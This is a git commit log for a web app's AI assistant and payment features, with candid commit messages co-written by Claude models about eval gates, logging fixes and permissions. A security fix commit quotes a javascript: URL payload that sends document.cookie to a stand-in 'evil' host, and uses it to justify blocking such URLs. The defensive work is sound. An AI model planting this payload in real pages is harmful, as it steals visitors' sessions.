10 Commits
Author SHA1 Message Date
CatoandClaude a12fdc18ac fix(money): a paid request says Paid; a timed-out send is not a retry (#1406)
Review of the money surface through the people who use it found four places
where it told the wrong story:

- A request never became Paid. The table held the place for the answer but
  the pay link carried no request, so Marco paid and still saw Pending with a
  Pay button, as did Lena. The link now names the request; the invoice mint
  checks it is open and addressed to the recipient and stamps it on the intent
  (new payment_intents.payment_request_id); settlement marks it paid only when
  the payment covers the ask, and tells Lena who paid. Opening the link of a
  paid request says so instead of offering the form.
- A send that timed out put the person back on the filled-in form with the
  button live, though the server had said it may still go through. It now has
  its own screen with nothing primed.
- Send accepted your own name, and promised payment to someone who only
  receives on-chain, refusing after the review step. Both are said up front.
- The pay page dead end got the same reason and message nudge as Send, and
  notifications count in the reader's currency instead of BTC decimals.


Claude-Session: https://claude.ai/code/session_01Te8nLte2wV2S7ttNgwSt3n

Co-authored-by: Claude <noreply@anthropic.com>
2026-10-23 11:45:39 +02:00
CatoandClaude Opus 5 d42fe04fcb fix(eval): the judge the flag promised now exists (#996)
#989 made the `why` axis advisory and told the operator, in the run's own
output: "Set CAT_EVAL_JUDGE=1 (needs OPENROUTER_API_KEY) to judge it
semantically and gate on it."

There was no judge. The flag only flipped computePass to gate on `scores.why`
— which is still the regex count. Setting it would have gated on the very
phrase list the same commit declared unfit for gating, and worse than leaving
it off, because the operator would believe the number meant something.

That is the second time today I shipped a claim with no implementation behind
it. The first was telling the model Cat may post to Nostr when nothing
publishes a note (#995). A flag is a claim, and a claim needs an
implementation; the file whose subject is honesty does not get an exemption.

So `judgeWhy` is real: one YES/NO question about one property, temperature 0,
asked of a cheap model, and deliberately NOT asking for any particular word —
re-imposing a vocabulary is what the phrase list did.

The load-bearing value is NULL. No key, a refusal, a transport error, an
unparseable answer, an answer that is not YES or NO — all return null, which
means NOT JUDGED and is not the same as "this reply failed to explain itself".
`computePass` now takes `judged` and gates on `why` only when a judge answered
for EVERY probe. A half-judged run falls back to advisory rather than to the
regex, so flipping the flag can never quietly re-enable what it replaced.

One existing test asserted the old, wrong contract — that the flag alone gates
— and failed. It was rewritten rather than relaxed: the flag is the claim, the
judged count is the evidence.

A mutant escaped on the first pass and is worth recording: asserting the
system prompt matched /not required/ was satisfied by the original sentence
while the mutant ADDED a contradicting "the word because is required". The
negative assertion is the stronger half, again.

Verified: 3198 tests green, 0 lint errors, seven mutants all caught.


Claude-Session: https://claude.ai/code/session_01HJRuvHJEBd8t7iRA9Sb1iw

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-12 08:40:07 -07:00
CatoandClaude Opus 5 bdfbfee1e5 fix(eval): the nightly Cat gate only fails for what it can measure (#989)
* fix(eval): the nightly Cat gate only fails for what it can measure

Found by running the eval by hand, not by anything telling anyone — which is
half the bug.

A SKIP reached nobody. Standing down to protect the user-facing free pool is
correct behaviour, but it returned with exit 0, systemd recorded success, and a
night on which Cat was never verified looked identical to a night on which Cat
was healthy. It skipped silently on 2026-09-10 and 2026-09-11. It still exits 0
— paging nightly for a budget ceiling is how an alarm gets muted for good — but
it now says so, upserted on its title so a run of skipped nights bumps one row
instead of stacking a pile nobody reads either.

The "why" axis is a list of fifteen English connectives. It asks whether Cat
used one of those phrasings, not whether Cat explained itself, and on
2026-09-12 the difference paged the founder: the g-bakery probe answered "As a
bakery, you already have the asset and the skill to turn your craft into
income", which is a reason by any reading, matched nothing, and reported
REGRESSION. Adding the single word "because" to that same sentence flips it to
PASS — the test asserts exactly that, so the blind spot is pinned rather than
described.

So `type` still gates, because it checks STRUCTURE — which draft card was
attached, whether a clarifying question was asked — and a regex can check
structure honestly. `why` is computed, printed, and advisory until something
can judge meaning. CAT_EVAL_JUDGE=1 turns it back into a real gate; it is off
by default because eight probes plus a 20-request reserve already do not fit in
50 free requests a day, and judging adds calls to exactly the pool that is
short. Built now, one env var away the day the ceiling is raised.

This is the same failure both times: the gate asserted something it could not
support. A gate that cries wolf is worse than no gate, because it trains
everyone to ignore the one alarm that turns out to be real — the lesson
eval-cat-retry.test.ts was already written for.

NOT fixed here, because it is a spend decision: the free-tier ceiling itself.
At 50 requests/day the eval stands down most nights, so Cat's judgment is
usually unverified. 10 OpenRouter credits raises it to 1000/day.

Verified: 3111 tests green, 0 lint errors.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJRuvHJEBd8t7iRA9Sb1iw

* fix(eval): do not log the notification recipient id

CodeQL js/clear-text-logging, 2 high, on scripts/eval-cat.mjs. The recipient
is read from CAT_EVAL_NOTIFY_USER_ID, so interpolating it into the journal logs
an environment-derived value in the clear. Two of the three sites predate this
branch; editing the file put them in the diff, which is the right moment to fix
them rather than step around them.

The id was never the useful part of the line — "the founder was notified" is
the fact a reader needs. Nothing else changes.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJRuvHJEBd8t7iRA9Sb1iw

* fix(eval): log the error's class, not the error

CodeQL js/clear-text-logging, high, on the notification-failure logs. The
helper builds its URL from CAT_EVAL_NOTIFY_USER_ID, so a thrown fetch error can
carry that environment-derived id in its message, and `${err}` put it in the
journal in the clear.

`err.name` still distinguishes a network fault from a bad response, which is
the part worth having at 04:30, and it is a class name that can never carry the
id. Applied at all three sites rather than only the one CodeQL called new — the
other two are the same defect and were already in this diff.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJRuvHJEBd8t7iRA9Sb1iw

* fix(eval): log a literal, not anything taken from the error

Second attempt at the same CodeQL alert, and the first one was wrong for a
reason worth writing down: `err.name` is a property of the tainted object, so
the error still reaches the log. CodeQL kept flagging it and was right to.

Nothing derived from the error is interpolated now. A branch picks one of three
literals — network, rejected, unknown — which still answers the only question
worth asking at 04:30: could we not reach the box, or did it refuse us.

Why this matters at all here: these helpers build their URL from
CAT_EVAL_NOTIFY_USER_ID, so a failed fetch can carry that environment-derived
id inside its message and put it in the journal in the clear.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HJRuvHJEBd8t7iRA9Sb1iw

---------

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-12 06:27:43 -07:00
CatoandClaude Fable 5.1 0e450e9173 fix(deploy): ship every eval script sibling, so a new one cannot break the timer (#968)
#967 added scripts/eval-rate-limit.mjs and made eval-cat.mjs import it. The
deploy copied eval scripts to /opt/orangecat/scripts by a hand-written list of
three files — right under a comment warning "eval-cat.mjs imports this next
to itself — ship them together or the timer breaks". The new file was not in
the list. After the deploy of e2f87798 the box had the NEW eval-cat.mjs
importing a sibling that was not there; the nightly orangecat-cat-eval timer
would have crashed on import at 04:30 UTC with a harness error. Found by
checking the box after deploy, repaired by hand (install -m 644) for tonight.

The list is now one glob, scripts/eval-*.mjs — a glob cannot forget a file —
and __tests__/unit/scripts/eval-siblings-shipped.test.ts pins the class: the
glob must be present in the deploy script (comments stripped, so a mention
cannot satisfy it), and every relative import of every eval script must be a
sibling the glob covers. Mutation-proved: hand list restored → red; glob left
only in a comment → red; an import of a non-eval-named sibling → red.


Claude-Session: https://claude.ai/code/session_01MWgvHV9KSt3nLn812C2fxm

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-09-11 00:30:05 -07:00
CatoandClaude Fable 5.1 e2f8779837 feat(cat): ask for permission by name, check its own record, and select sections by turn (#967)
ADR-0006 D5, D6, and the section-selection mechanism — the three items left
open after #964 — plus the fix that lets the eval that gates them actually run.

D5, a first run that can do something. Most of it had already shipped as
grant-on-confirm (20260910203000_confirming_can_also_allow.sql): a denial for a
non-payment, non-high-risk action becomes a consent card reading "Allow and
confirm". What was missing was the other half of the conversation. The model
was told a plain "waiting for confirmation", so its reply announced a done deal
while the card asked for a permission the reply never mentioned. summariseForModel
now says NOT YET ALLOWED, names the category, and says one tap allows it; a hard
denial names the category to allow instead of "tell the user what to grant"
with nothing to say.

Two measured corrections with it. update_profile sat in the default-on 'context'
category with requiresConfirmation: false — a brand-new user's Cat could rewrite
their public @handle and bio on a stray sentence. It is now 'entities' and
confirmed, and reaches a new user through the consent card. And 'settings' was a
permission category with zero actions in it: a switch in the UI governing
nothing. Removed from the app; the Postgres enum value is left orphaned (cannot
be dropped in place, no row references it). The class is closed by a test —
every listed category must govern at least one enabled action.

D6, Cat can check its own work. track-record.ts already derived proposed →
published → funded plus setbacks from cat_action_log; it was ambient context
only. It is now also the read tool check_my_track_record, answered as prose by
formatTrackRecordForModel, which states Cat's own pattern as a fact to act on:
"3 things drafted, none published — offer to finish ONE before creating
anything new"; "2 published but nothing funded — the gap is reach or pricing";
"2 proposals never confirmed — ask what held them back". A null record says
"could not be read — do not reconstruct from memory", never "nothing yet".
Scoped to Cat's own actions in the router; the user's own numbers stay with
query_my_data.

Section selection, mechanism built, flag off. Two things were found by trying
to enable it. Nothing anywhere produced a turnDescriptor — the env flag was a
double gate that changed nothing when set. services/cat/turn-descriptor.ts now
builds one in chat-prepare from facts the caller has: the message, whether
history is empty (fetched before the brief now, so first-message is read not
guessed), the page, the entity. And selection ran BEFORE the capability strip,
so flag-on + actionsVia 'none' + a greeting threw: selection had already removed
an instruction section the strip then demanded. Strip runs first now. Measured
on the tools path: unselected 32,019 chars; a first-message greeting 23,097; a
pricing question 18,824.

The eval that is supposed to validate the flip has not run since 2026-09-10. It
logged "free-model budget 0/0 remaining — SKIPPED" every night. From the box:
OpenRouter answers HTTP 200 on the free model and sends NO x-ratelimit-*
headers; Number(null) is 0 and 0 is finite, so a missing header read as an
exhausted budget and the eval stood down to protect a reserve that was never in
danger — the exact thing the comment above that code says it must not do.
Header parsing is now scripts/eval-rate-limit.mjs, absent means unknown means
proceed, and the run logs when the budget is unknown so silence cannot read as
"checked". Unit-tested.

Gates proved by mutation: 16 mutants, 16 killed, sources sha256-verified
restored. Three survived the first pass and were diagnosed rather than
excused: two had matched update_entity's identical four-line block before
update_profile's (re-anchored on a unique comment), one kept both phrases the
test looked for (test now asserts a null record never reads "nothing yet").

Not built, stated in the ADR: the loop does not resume after confirmation; the
card confirms, the action runs, a system message reports it.


Claude-Session: https://claude.ai/code/session_01MWgvHV9KSt3nLn812C2fxm

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2026-09-10 23:57:17 -07:00
ed1d96147a fix(cat): the outcome gate reported a cause it had never tested (#829)
The nightly gate failed with "assistant messages exist in the window but 0 Cat
actions were logged — the cat_action_log write path looks dead (check RLS
policies and the executor)" while cat_action_log held TEN rows for that window,
the newest from 2026-08-25. The write path was alive. The gate had never looked
at it.

`proposed` counts only rows that are BOTH status=completed AND a create_*
action. In the window there were none — the single create_* was `create_cause`,
DENIED. Three different worlds produce proposed === 0:

  1. nothing is written at all           → the audit trail is dead. Page.
  2. writes happen, no completed creates → nothing creatable was asked for, or
                                           every attempt was denied. Not an outage.
  3. no assistant activity at all        → nothing to grade.

The old predicate could not tell 1 from 2, so it asserted the diagnosis for 1
whenever it saw either. It now fetches the window's rows with no status or
action filter and fails only on the shape it was built for: the log EMPTY while
the Cat is talking. Otherwise it reports what it found — including denials,
which are a real signal worth seeing and were being swallowed.

This matters beyond the noise: a tripwire that cries every night is one nobody
believes on the night it is right, which is the exact failure it exists to catch.

The predicate is now a pure function and main() only runs on direct execution,
so the decision can be tested without a database — it stayed wrong because
nothing could reach it. Seven cases added, run in a child process against the
real module (matching eval-cat-retry's pattern). Proven by mutation: restoring
the old predicate turns three of them red, and the artifact was verified
byte-identical afterwards.

Live against production: exits 0 with
  "the write path is alive — 10 action(s) logged in window (denied 4,
   completed 5, failed 1), just none of them a completed create_*."


Claude-Session: https://claude.ai/code/session_01AqzRcMP1uJzd7Tav5fNxQz

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-29 07:30:44 +02:00
e4d495fa40 fix(security): close the javascript:-URL class, and render the portfolio it blocked (#728)
* feat(domains): link the build service — the rung before hosting

/domains assumes the visitor already has a site ('your site is already
hosted'), but a stranger arriving there has nothing to host. Link the
website-build service so the ladder is complete: build -> hosted free at
*.orangecat.ch -> custom domain.

The link carries no price: the service entity owns its rate, and
restating it here would be the second source of truth this config exists
to prevent.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): close the javascript:-URL class, and render the portfolio it blocked

`z.string().url()` delegates to `new URL()`, which accepts `javascript:` and
`data:`. Verified against the real schema, not the primitive: a wishlist item
with `external_url: 'javascript:fetch("//evil?c="+document.cookie)'` parsed
successfully and the value passed through unchanged — and the public wishlist
page rendered exactly that field into an anchor labelled "View item →". Click =
script execution in the visitor's session. `target="_blank"` and
`rel="noopener noreferrer"` do nothing here; they govern the opened context, and
`javascript:` never opens one.

Found while wiring up `portfolio_links` on the service detail page — a field
stored and API-returned but rendered nowhere, so inert until it became an href.
Making it one is the unsafe act, which is what surfaced the live instance.

Three layers, because they fail differently:

- `webUrl()` (validation SSOT) — trims, then http(s) only. Trimming is not
  cosmetic: browsers strip leading whitespace/control characters before parsing
  a scheme, so " \n javascript:…" is live in an href.
- `safeHref()` (render boundary) — validation only binds rows written after it
  ships, and service-role inserts skip schemas entirely.
- `no-restricted-syntax` — bans the unsafe form for good. Mutation-tested red
  before being trusted.

The AST rule found 4 call sites that grep and a hand-written selector both
missed: multi-line `z\n.string()\n.url(msg)` in projects.ts, and
`z.string().trim().url().max(2000)` on avatarUrl/bannerUrl/website in
profile-claims — which feed an avatar src, a banner src, and a profile href.
Ending a class needs the linter's count, not the grep that found instance one.

Stored data checked separately, since a schema fix cleans nothing: all 6
services' portfolio_links and all 3 profile websites are already http(s), and no
wishlist item has an external_url at all (HTTP 200 + empty — absent, not
unqueryable). No cleanup migration needed.

Also unbreaks `npm run verify` from a git worktree, where it could not complete:
  - check-duplication.mjs resolved jscpd at <repo>/node_modules, but a worktree
    has none and inherits the main checkout's. Resolved via Node's own lookup.
  - eval-cat-retry.test.ts never set the anon key, silently relying on
    eval-cat.mjs reading .env.local from cwd — untracked, main-checkout-only. In
    the main checkout it passed by pulling the REAL anon key into a unit test;
    in a worktree the script exited before the retry logic ran. Now sets a fake
    key, and the 503 backoff actually executes.

verify: green (222 suites, 2208 passed), duplication 0.95% under the 1.0%
baseline. 33 new tests assert the CLOSED side — a test that only checks https://
still passes after someone reverts the helper.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-24 16:37:52 +00:00
f719331732 fix(eval): retry transient PostgREST 5xx instead of failing the nightly gate (#610)
* fix(eval): retry transient PostgREST 5xx instead of failing the nightly gate

PostgREST answers 503 PGRST002 ("Could not query the database for the schema
cache. Retrying.") while it reloads its cache in the background — a state that
clears itself in seconds. eval-cat.mjs had no retry, so on 2026-08-04 one blip
inside resetDailyCap killed the whole entity-type judgment gate and reported it
as a failed eval.

A gate that goes red because a cache warmed up trains you to ignore the gate.

rest() now retries 5xx and transport errors four times with linear backoff, and
still throws immediately on 4xx (a verdict about the request, not a blip). The
module gained a direct-invocation guard so it can be imported without starting a
real eval against production, which is what makes the behaviour testable.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(eval): log the table, not the filtered path, on retry

CodeQL flagged the new retry log as clear-text logging of environment data, and
it was right: a PostgREST path carries its filters in the query string
(?user_id=eq.<uuid>) and those ids come from env, so the whole path leaked
identifiers into the journal for no diagnostic gain. The table name is the part
that tells you what was retried.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(eval): keep the request path out of the retry log entirely

split('?')[0] removes the filters but CodeQL does not model it as a sanitizer,
and being conservative there is correct: the path is caller-supplied and some
callers build it from env values. The retry warning does not need it — status
or 'transport' says what happened, and the error thrown once retries are
exhausted still names the full path for whoever is debugging.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-04 14:54:07 +00:00
5774475764 fix(eval): nightly Cat gate has been dead since Cat Credits shipped — pinned model is no longer free (#578)
* fix(eval): nightly Cat gate has been dead since Cat Credits shipped — pinned model is no longer free

The nightly judgment gate has reported "HARNESS ERROR — 8/8 probes failed at
the provider layer" every night. It was not a provider outage. Every probe
came back:

  HTTP 402 {"code":"INSUFFICIENT_CREDITS","message":"This is a paid frontier
  model. Top up Cat Credits..."}

eval-cat.mjs pinned the literal 'openai/gpt-oss-120b:free'. The registry now
carries 'openai/gpt-oss-120b' as a PAID model and only the 20b variant as
free, so OrangeCat's own paywall — live since Cat Credits launched
2026-08-01 — rejected the gate's every request. The gate died the day the
product started charging, and its error message pointed at the wrong layer,
which is why it read as an upstream flake for days.

Pinned to the registry's DEFAULT_FREE_MODEL_ID value, which is also what
users get by default, so the eval measures the real thing.

The literal stays a literal on purpose: this script runs on the box, where
only the standalone build ships and src/ does not exist, so it cannot import
the registry at runtime. The drift is caught in CI instead —
__tests__/unit/scripts/eval-cat-model.test.ts asserts the pinned string
equals DEFAULT_FREE_MODEL_ID *and* that the registry actually marks it free.
Verified the test does its job: reintroducing the old
'openai/gpt-oss-120b:free' pin fails 2 of 3 assertions; restoring it passes 3
of 3.

This is the same free-model-rot class that has now bitten four times. The
difference here is that the blast radius was a quality gate reporting a
misleading cause, so nobody chased it.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(eval): retry backoff gave up just before free capacity returned

With the model pin corrected, the gate went from 0/8 to 6/8 probes passing
against production. The remaining two (g-bakery, h-charter) failed with the
free pool's own message: "Free AI capacity is maxed out right now. Try again
in a minute."

The longest backoff was 45s, so all attempts for those probes were spent
inside ~65s — giving up shortly before the capacity window the provider
itself names. Added a third 90s step (MAX_ATTEMPTS 3 → 4) so the retry
ladder honours what the provider asks for rather than a shorter guess.

The probes late in the run are the ones that starve, which is consistent
with a shared free pool draining over a ~5 minute run.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-02 20:29:58 +02:00
a2a2b63126 feat(cat): outcome feedback loop — track record, reality-graded eval, dead action-pipeline fixes (#504)
* fix(cat): unblock action audit log + confirmation flow (missing RLS write policies)

cat_action_log shipped with only a SELECT policy, so the executor's
INSERT/UPDATE writes have been silently rejected since launch (0 rows in
prod while the error was logged and swallowed) — the entire Cat action
audit trail never recorded anything. cat_pending_actions additionally had
no INSERT policy, so every confirmation-required action THREW in
production. Applied to the self-hosted DB on 2026-07-29.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(cat): outcome feedback loop — track record derived from real platform state

New services/cat/track-record.ts derives what actually happened to the
entities Cat created with the user (proposed → published → funded) by
joining cat_action_log create_* actions to current entity state and
settled payment_intents. Zero new state: pure reads over existing tables.

Injected into Cat's per-turn context as a 'Track Record' section right
after the economic profile, so advice is grounded in observed outcomes
('your services under X published and got funded; the May drafts stalled')
instead of model self-assessment. Degrades to absent when the log is
unreadable; snapshot-neutral (renders null when the field is undefined).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(cat): Track Record card in the Cat hub Context tab

Transparency surface for the outcome loop: the same derived signal Cat
sees (created → published → funded, settled BTC) shown to the user.
Thin GET /api/cat/track-record → service; hook mirrors useCatContext;
card uses the semantic token tier only, with loading skeleton, empty
state, and hidden-on-unavailable. Amounts via useDisplayCurrency.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(eval): outcome-graded Cat eval — reality funnel + dead-audit-trail gate

scripts/eval-cat-outcomes.mjs grades Cat on ground truth instead of an
LLM judge: the platform-wide proposed → published → funded funnel over a
window, from cat_action_log × entity tables × settled payment_intents.
--gate exits 1 when assistant activity exists but zero actions were
logged — the exact signature of the silent RLS write-failure class fixed
earlier in this branch, so it can never return unnoticed.

The script's action→table map can't import the TS registry (plain node on
the box); eval-cat-outcomes-map.test.ts parses it and asserts it matches
ENTITY_REGISTRY (it already caught user_causes/events/assets on first run).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(cat): entity creation via Cat was dead for 5 types — missing user_id dual-write

Live E2E against production (post RLS fix) surfaced the next layer: the
create_product/service/project/cause/event handlers insert only actor_id,
but those tables have user_id NOT NULL and their INSERT policies check
auth.uid() = user_id — so every direct Cat creation of these types failed
at the database. Invisible until now precisely because the action audit
log was also dead. Dual-write user_id like the ai_assistant/loan handlers
always did; column-regression suite extended to pin it (94 tests green).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(changelog): Cat outcome loop + confirmation fix entry

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(migrations): bump version — 20260729120000 collides with credit_append_idempotent_ref on main

Two sessions minted the same timestamp today; the replay job's
schema_migrations version PK rejects the duplicate. Policies themselves
are already applied on the box; only the file version changes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Georgy Butaev <41178744+g-but@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-07-29 15:13:09 +02:00